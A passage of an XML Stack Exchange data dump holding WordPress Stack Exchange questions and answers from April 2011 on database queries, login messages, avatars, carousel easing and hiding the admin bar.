name=&quot;cp_feedback&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;?php wp_nonce_field('update-p_comment','product_comment'); ?&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;my_action&quot; value=&quot;product_comment&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;send&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-08T01:56:45.847" CommentCount="1" />
  <row Id="14235" PostTypeId="2" ParentId="14187" CreationDate="2011-04-08T01:57:06.923" Score="0" ViewCount="" Body="&lt;p&gt;i dont know what programs you installed but maybe its APC - Zend problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ivankristianto.com/web-development/server/alternative-php-cache-apc-not-compatible-with-zend-optimizer/1726/&quot; rel=&quot;nofollow&quot;&gt;http://www.ivankristianto.com/web-development/server/alternative-php-cache-apc-not-compatible-with-zend-optimizer/1726/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This problem happen in my VPS after i&#xA;  install Alternative PHP cache (APC).&#xA;  And also i already have Zend optimizer&#xA;  installed on the same VPS. After i&#xA;  installed APC, my WordPress blog show&#xA;  strange behavior. Sometimes i got&#xA;  Error 500 Internal Server Error, and&#xA;  sometimes i got PHP fatal error.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1372" LastActivityDate="2011-04-08T01:57:06.923" />
  <row Id="14237" PostTypeId="2" ParentId="14230" CreationDate="2011-04-08T03:01:04.923" Score="1" ViewCount="" Body="&lt;p&gt;That is exactly what the default &quot;author&quot; role does.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-08T03:01:04.923" CommentCount="1" />
  <row Id="14238" PostTypeId="1" AcceptedAnswerId="14304" CreationDate="2011-04-08T03:04:19.180" Score="0" ViewCount="87" Body="&lt;p&gt;I've got an &lt;code&gt;if ($comment-&amp;gt;user_id)&lt;/code&gt; block to pick an default admin comment gravatar (different than a non-user's). But I'd still like this gravatar to be used if a user comments using their registered email, even if they comment while not logged in. What is the best way to test for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm already using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if ($comment-&amp;gt;user_id){&#xA;            //comment by registered user&#xA;            $avatar = '/images/bird_comments_big.png';&#xA;            }else{&#xA;            //comment by none registered user&#xA;            $avatar = '/images/bird_comments_pink.png';&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;?php echo get_avatar($comment, 70, get_bloginfo('template_url').$avatar); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user is logged in a makes a comments, the if statement is indeed fulfilled. However, if the user uses their registered email (i.e. tied to their login in WP) without bring logged in, &lt;code&gt;user_id&lt;/code&gt; is not present, and the icon for the unregistered user appears. &lt;strong&gt;&lt;code&gt;user_id&lt;/code&gt; is only stored if the user is logged in.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I also want to test if the email given matches a registered user, regardless if they are logged-in or not.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4258" LastEditorUserId="4258" LastEditorDisplayName="" LastEditDate="2011-04-08T15:07:00.987" LastActivityDate="2011-04-08T15:17:00.303" Title="Best way to tell if a comment is from a user?" Tags="&lt;comments&gt;&lt;users&gt;&lt;functions&gt;&lt;avatar&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="14239" PostTypeId="1" AcceptedAnswerId="14240" CreationDate="2011-04-08T03:42:01.567" Score="2" ViewCount="761" Body="&lt;p&gt;Why is it? I tried the same query in the console and it returned multiple rows. Here's the query:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;wpdb-&amp;gt;get_row(&quot;SELECT * FROM &quot;.$this-&amp;gt;wpdb-&amp;gt;users.&quot; WHERE status = 'active'&quot;, ARRAY_A);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It keeps returning the same single row when there are several active users. Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2011-04-08T07:15:59.080" LastActivityDate="2011-09-01T15:57:24.100" Title="$wpdb-&gt;get_row() only returns a single row?" Tags="&lt;wpdb&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="14240" PostTypeId="2" ParentId="14239" CreationDate="2011-04-08T03:52:38.610" Score="4" ViewCount="" Body="&lt;p&gt;Indeed, use &lt;code&gt;get_row()&lt;/code&gt; only when you expect to get one result, else you can use &lt;code&gt;get_results()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-04-08T03:52:38.610" />
  <row Id="14241" PostTypeId="1" CreationDate="2011-04-08T06:18:49.810" Score="0" ViewCount="230" Body="&lt;p&gt;How to create WP Search Form with Category and Sub category &lt;br/&gt;&#xA;for illustration a search form (for search title Book=title post) &lt;br/&gt;&#xA;With condition By Keyword, By All Category and Sub Category selected &lt;br/&gt;&#xA;Where, Sub Category (CD, PDF, EPub,...) &lt;br/&gt;&#xA;I Look Around for a Week but unsuccessful,   &lt;br/&gt;&#xA;Help me , Please ...&#xA;=&gt; &lt;a href=&quot;http://penerbit-ebook.com&quot; rel=&quot;nofollow&quot;&gt;For My Client blog for CMS Ebook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I Have modified my form like This :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $media = array(&#xA; 'hierarchical'       =&amp;gt; 1,&#xA; 'parent'             =&amp;gt; get_cat_id('Media'),&#xA; 'show_option_none'   =&amp;gt; ('All Media'),&#xA; 'hide_empty'   =&amp;gt; 0  ); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php the_search_query(); ?&amp;gt;&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;    &amp;lt;?php wp_dropdown_categories('show_option_none=All Category'); ?&amp;gt;&#xA;    &amp;lt;?php wp_dropdown_categories($media); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;search&quot; /&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;&lt;strong&gt;How to Create Function or modified form again ? Without Plugin...&lt;/strong&gt;&lt;br/&gt;&#xA;For a detailed answer I am very grateful !!!&lt;/p&gt;&#xA;" OwnerUserId="4498" LastActivityDate="2011-04-08T12:27:31.730" Title="Search form with Category and Sub Category" Tags="&lt;search&gt;&lt;cms&gt;&lt;link-category&gt;" AnswerCount="1" />
  <row Id="14242" PostTypeId="2" ParentId="14239" CreationDate="2011-04-08T07:00:57.637" Score="4" ViewCount="" Body="&lt;p&gt;There are three ways to pull data from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.&lt;code&gt;$wpdb-&amp;gt;get_var&lt;/code&gt;:use this to get a single value from the database table. Like if you want to count the total number of comments. You can do it in following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$comment_count = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT COUNT(*) FROM $wpdb-&amp;gt;comments;&quot;)); &#xA;echo '&amp;lt;p&amp;gt;Total comments: ' . $comment_count . '&amp;lt;/p&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.&lt;code&gt;$wpdb-&amp;gt;get_row&lt;/code&gt; : To retrieve an entire table row you can use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$thepost = $wpdb-&amp;gt;get_row( $wpdb-&amp;gt;prepare( &quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE ID = 1&quot; ) );&#xA;echo $thepost-&amp;gt;post_title; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$thepost = $wpdb-&amp;gt;get_row( $wpdb-&amp;gt;prepare( &quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE ID = 1&quot; ), ARRAY_A );&#xA;print_r ($thepost); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By using the &lt;code&gt;ARRAY_A&lt;/code&gt; parameter in get_row your post data is returned as an associative array. Alternatively, you could use the &lt;code&gt;ARRAY_N&lt;/code&gt; parameter to return your post data in a numerically indexed array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.&lt;code&gt;$wpdb-&amp;gt;get_results&lt;/code&gt;:Standard &lt;code&gt;SELECT&lt;/code&gt; queries should use the get_results function for retrieving multiple rows of data from the database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$allposts = $wpdb-&amp;gt;get_results( $wpdb-&amp;gt;prepare(&quot;SELECT ID, post_title FROM $wpdb-&amp;gt;posts WHERE post_status = 'publish'&quot;) );&#xA;foreach ($allposts as $singlepost) { &#xA;         echo '&amp;lt;p&amp;gt;' .$singlepost-&amp;gt;post_title. '&amp;lt;/p&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and you need the last one, as you can expect.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3918" LastActivityDate="2011-04-08T07:00:57.637" />
  <row Id="14243" PostTypeId="1" CreationDate="2011-04-08T07:04:01.890" Score="2" ViewCount="348" Body="&lt;p&gt;I am trying to use NextGen Gallery with the JJ Carousel plugin. The scrolling works now, but I can’t setup the speed of the carousel. JJ wrote: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;animation: The speed of the scroll animation as string in jQuery terms (&quot;slow&quot; or &quot;fast&quot;) or milliseconds as integer (See jQuery Documentation). If set to 0, animation is turned off. (sc: animation=&quot;setting&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But anything I set in there will not work, no difference between 'fast' and '5000'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nextgen-gallery/&lt;/a&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/jj-nextgen-jquery-carousel/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/jj-nextgen-jquery-carousel/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4479" LastActivityDate="2011-08-07T21:20:42.903" Title="jQuery | JJ Carousel Plugin - Can’t set speed" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="14244" PostTypeId="2" ParentId="11235" CreationDate="2011-04-08T07:27:01.543" Score="0" ViewCount="" Body="&lt;p&gt;I'm getting a similar result as Guru2.0... undefined. When I replace the media_url variable with &quot;test&quot;... it inserts &quot;test&quot; into the field value. But, no image url at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it was a binding issue so I tried the jQuery live() function, but that was unsuccessful in the limited trial I used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love for this to work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~David&lt;/p&gt;&#xA;" OwnerUserId="4527" LastActivityDate="2011-04-08T07:27:01.543" />
  <row Id="14245" PostTypeId="2" ParentId="14243" CreationDate="2011-04-08T07:34:21.333" Score="0" ViewCount="" Body="&lt;h3&gt;The animation speed only applies if your adding an animation.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The scrolling carousel is not considered an animation.  You would have to enable easing for the animation to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view an example of the easing with the speed declaration on the j&lt;a href=&quot;http://sorgalla.com/projects/jcarousel/examples/special_easing.html&quot; rel=&quot;nofollow&quot;&gt;Carousel jQuery plugin page.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jCarousel does not contain any built in easing functions.  You would have to include the jQuery Easing plugin or use an inline easing equation like &lt;a href=&quot;http://www.robertpenner.com/easing/easing_demo.html&quot; rel=&quot;nofollow&quot;&gt;Robert Penner's Easing Equations:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Query.easing['BounceEaseOut'] = function(p, t, b, c, d) {&#xA;    if ((t/=d) &amp;lt; (1/2.75)) {&#xA;        return c*(7.5625*t*t) + b;&#xA;    } else if (t &amp;lt; (2/2.75)) {&#xA;        return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;&#xA;    } else if (t &amp;lt; (2.5/2.75)) {&#xA;        return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;&#xA;    } else {&#xA;        return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use the above with jCarousel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;    jQuery('#mycarousel').jcarousel({&#xA;        easing: 'BounceEaseOut',&#xA;        animation: 1000&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-08T07:34:21.333" />
  <row Id="14246" PostTypeId="2" ParentId="14218" CreationDate="2011-04-08T07:39:55.763" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Next_and_Previous_Links&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Next_and_Previous_Links&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please read through WordPress Codex, it does help. &lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-04-08T07:39:55.763" CommentCount="1" />
  <row Id="14247" PostTypeId="2" ParentId="10327" CreationDate="2011-04-08T07:54:37.183" Score="1" ViewCount="" Body="&lt;h2&gt;Hi JanoChen,&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;WP-FP-AutoConnect create a function that gets the Facebook Profile image and outputs it as an avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function is &lt;code&gt;jfb_wp_avatar&lt;/code&gt; and it can be added to your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to enable the option in the plugin settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how the function is defined in the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;  * Optionally replace WORDPRESS avatars with FACEBOOK profile pictures&#xA;  */&#xA;if( get_option($opt_jfb_wp_avatars) ) add_filter('get_avatar', 'jfb_wp_avatar', 10, 5);&#xA;function jfb_wp_avatar($avatar, $id_or_email, $size, $default, $alt)&#xA;{&#xA;    //First, get the userid&#xA;    if (is_numeric($id_or_email))       &#xA;        $user_id = $id_or_email;&#xA;    else if(is_object($id_or_email) &amp;amp;&amp;amp; !empty($id_or_email-&amp;gt;user_id))&#xA;       $user_id = $id_or_email-&amp;gt;user_id;&#xA;    else if(is_string($id_or_email))&#xA;       $user_id = get_user_by('email', $id_or_email ); &#xA;&#xA;    //If we couldn't get the userID, just return default behavior (email-based gravatar, etc)&#xA;    if(!isset($user_id) || !$user_id) return $avatar;&#xA;&#xA;    //Now that we have a userID, let's see if we have their facebook profile pic stored in usermeta&#xA;    $fb_img = get_usermeta($user_id, 'facebook_avatar_thumb');&#xA;&#xA;    //If so, replace the avatar! Otherwise, fallback on what WP core already gave us.&#xA;    if($fb_img) $avatar = &quot;&amp;lt;img alt='fb_avatar' src='$fb_img' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' /&amp;gt;&quot;;&#xA;    return $avatar;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-08T07:54:37.183" />
  <row Id="14248" PostTypeId="2" ParentId="14230" CreationDate="2011-04-08T08:32:44.597" Score="1" ViewCount="" Body="&lt;p&gt;Just check for capabilities (See link from @Wyck) &amp;amp; the author ID inside your templates and put the stuff you don't want others to see inside an if/else check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the author of this post:&#xA;$post_author = get_query_var('author_name') ? get_user_by( 'slug', get_query_var('author_name') ) : get_userdata( get_query_var('author') );&#xA;&#xA;// Get data from current user:&#xA;global $current_user;&#xA;get_currentuserinfo();&#xA;// Get the display_name from current user - maybe you have to exchange it with $current_user-&amp;gt;user_login&#xA;$current_author = $current_user-&amp;gt;display_name;&#xA;&#xA;// Check the capability and if the currently logged in user is the the post author&#xA;if ( current_user_can('some_capability') &amp;amp;&amp;amp; $post_author == $current_author )&#xA;{&#xA;    // Post Meta&#xA;    $post_meta = get_post_meta( $GLOBALS['post']-&amp;gt;ID );&#xA;    // DO OR DISPLAY STUFF HERE&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-08T08:32:44.597" CommentCount="2" />
  <row Id="14249" PostTypeId="2" ParentId="14233" CreationDate="2011-04-08T09:05:17.763" Score="1" ViewCount="" Body="&lt;p&gt;There's no &lt;em&gt;real&lt;/em&gt; embedding of another software into wordpress. If you want to visually embed it, then you'd have to take a look if and how phpBB uses templates and then add the same nav to the phpBB templates. The look and feel can be done via css. You'll have to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a) add the same css IDs and classes to the phpBB template parts as you got in your wp templates or  &lt;/li&gt;&#xA;&lt;li&gt;b) Make a new stylesheet for phpBB and asign the same style definitions you got in your wp stylesheets to the according phpBB html-elements.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-04-08T09:05:17.763" CommentCount="2" />
  <row Id="14250" PostTypeId="1" AcceptedAnswerId="14252" CreationDate="2011-04-08T09:12:43.290" Score="0" ViewCount="99" Body="&lt;p&gt;I want to be able to create custom login errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance if a user visits a restricted area without being logged in then I am redirecting to &lt;code&gt;wp-login.php?ref=access&lt;/code&gt; and I would like to output &lt;code&gt;Restricted area, please login to continue.&lt;/code&gt; or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to do this. I found that there are filters for &lt;code&gt;login_errors&lt;/code&gt; but I can't find anywhere else in the code this comes up, except in the login page itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I really don't want to have to change any of the core files to do this either. I've spent a lot of time and energy trying to make sure that the wordpress core is completely untouched so that I can upgrade it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-04-08T09:29:19.343" Title="Creating custom login errors" Tags="&lt;login&gt;&lt;errors&gt;" AnswerCount="1" />
  <row Id="14251" PostTypeId="2" ParentId="14223" CreationDate="2011-04-08T09:24:22.440" Score="1" ViewCount="" Body="&lt;p&gt;I also (ab?)use comments for &quot;private&quot; replies to posts, like product inquiries, suggestions, answers to contests, ... The advantage is that they are stored in the database and displayed in the interface without extra code from me (sometimes I add a filter to improve the formatting). Spam filtering and e-mail notifications are easy extras.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it is possible to create a &lt;em&gt;custom comment type&lt;/em&gt; framework on top of the current system, thus as a plugin without internal changes. Maybe, if I ever find the time, I'll experiment with that...&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-08T09:24:22.440" CommentCount="1" />
  <row Id="14252" PostTypeId="2" ParentId="14250" CreationDate="2011-04-08T09:29:19.343" Score="1" ViewCount="" Body="&lt;p&gt;From quick look at the login screen code (ouch):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('login_head','ref_access');&#xA;&#xA;function ref_access() {&#xA;&#xA;    global $error;&#xA;&#xA;    if( !empty($_GET['ref']) &amp;amp;&amp;amp; 'access' == $_GET['ref'] )&#xA;        $error  = 'Restricted area, please login to continue.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-08T09:29:19.343" CommentCount="2" />
  <row Id="14253" PostTypeId="2" ParentId="13043" CreationDate="2011-04-08T09:38:05.520" Score="4" ViewCount="" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;Hi PVitt,&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly you want to add the flattr button to your posts but instead of using the Flattr javascript API you just want the button image to be saved on your server and go to your flattr page when clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have embedded a working example into this answer and will provide the code and instructions below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;working example:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;WordPress Post Title&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;orem ipsum dolor sit amet, consectetur adipiscing elit. Duis eros libero, ullamcorper id ultrices ac, ultrices a magna. Vivamus sit amet tempus justo. Sed risus tellus, volutpat id sagittis sit amet, vehicula commodo ipsum. Nunc adipiscing sagittis ligula in tempor. [...]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://flattr.com/thing/64811/dotnetphen-com&quot; rel=&quot;nofollow&quot;&gt;&lt;img src=&quot;http://i.stack.imgur.com/hcQYb.png&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To have this button automatically added to the bottom of each post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save the image to your local machine&#xA;    then upload it to WordPres using the&#xA;    media uploader.  Make note of the&#xA;    img url or highlight and copy to&#xA;    your clipboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open your themes functions.php file and add the following code somewhere.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;&#xA;add_filter('the_content', 'pvitt_flattr_this' );&#xA;add_filter('the_excerpt', 'pvitt_flattr_this' );&#xA;&#xA;    function pvitt_flattr_this() {&#xA;&#xA;            echo '&amp;lt;a href=&quot;http://flattr.com/thing/64811/dotnetphen-com&quot;&amp;gt;&amp;lt;img src=&quot;http://www.dotnetphen.com/blog/2011/04/flattr-badge-large.png&quot; /&amp;gt;&amp;lt;/a&amp;gt;';&#xA;&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The button that links back to your flattr page will now be added to end of every post or post excerpt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.  Please comment if you need more clarification.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-04-08T09:38:05.520" />
  <row Id="14254" PostTypeId="2" ParentId="12493" CreationDate="2011-04-08T09:48:07.727" Score="0" ViewCount="" Body="&lt;h2&gt;&lt;a href=&quot;http://sidu.sourceforge.net/chart/&quot; rel=&quot;nofollow&quot;&gt;bChart&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;bChart 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple PHP chart: easy to use&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Single file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-04-08T09:48:07.727" CommunityOwnedDate="2011-04-08T09:48:07.727" CommentCount="2" />
  <row Id="14255" PostTypeId="2" ParentId="13875" CreationDate="2011-04-08T10:52:28.043" Score="1" ViewCount="" Body="&lt;p&gt;I think you added this filter &lt;em&gt;too late&lt;/em&gt; (on &lt;code&gt;init&lt;/code&gt;?), so that the initialization does happen, but the rest does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three places that check &lt;code&gt;show_admin_bar&lt;/code&gt; (via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/admin-bar.php#L332&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_admin_bar_showing()&lt;/code&gt;&lt;/a&gt;) are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/admin-bar.php#L8&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_wp_admin_bar_init()&lt;/code&gt;&lt;/a&gt;, called on &lt;code&gt;init&lt;/code&gt;. This creates an instance of &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/class-wp-admin-bar.php&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;WP_Admin_Bar&lt;/code&gt; class&lt;/a&gt;, which &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/class-wp-admin-bar.php#L39&quot; rel=&quot;nofollow&quot;&gt;hooks into &lt;code&gt;wp_head&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/admin-bar.php#L303&quot; rel=&quot;nofollow&quot;&gt;adds the 28px margin at the top&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/post-template.php#L503&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_body_class()&lt;/code&gt;&lt;/a&gt; adds the &lt;code&gt;admin-bar&lt;/code&gt; class to the body tag (weird that this is not done by hooking into &lt;code&gt;body_class&lt;/code&gt;?)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/admin-bar.php#L41&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_admin_bar_render()&lt;/code&gt;&lt;/a&gt; does the actual rendering. If you disable this but not the first one, you get an empty area at the top.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;_wp_admin_bar_init()&lt;/code&gt; is called on &lt;code&gt;init&lt;/code&gt;, you will be &lt;em&gt;too late&lt;/em&gt; if you also add the &lt;code&gt;show_admin_bar&lt;/code&gt; filter on &lt;code&gt;init&lt;/code&gt;, unless you change the priority.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will not render the admin bar, but still add the 28px margin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'init', 'wpse13875_init' );&#xA;function wpse13875_init()&#xA;{&#xA;    add_filter( 'show_admin_bar', '__return_false' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will completely disable the admin bar, because it will be executed before &lt;code&gt;_wp_admin_bar_init()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'init', 'wpse13875_init', 9 );&#xA;function wpse13875_init()&#xA;{&#xA;    add_filter( 'show_admin_bar', '__return_false' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-08T10:52:28.043" />
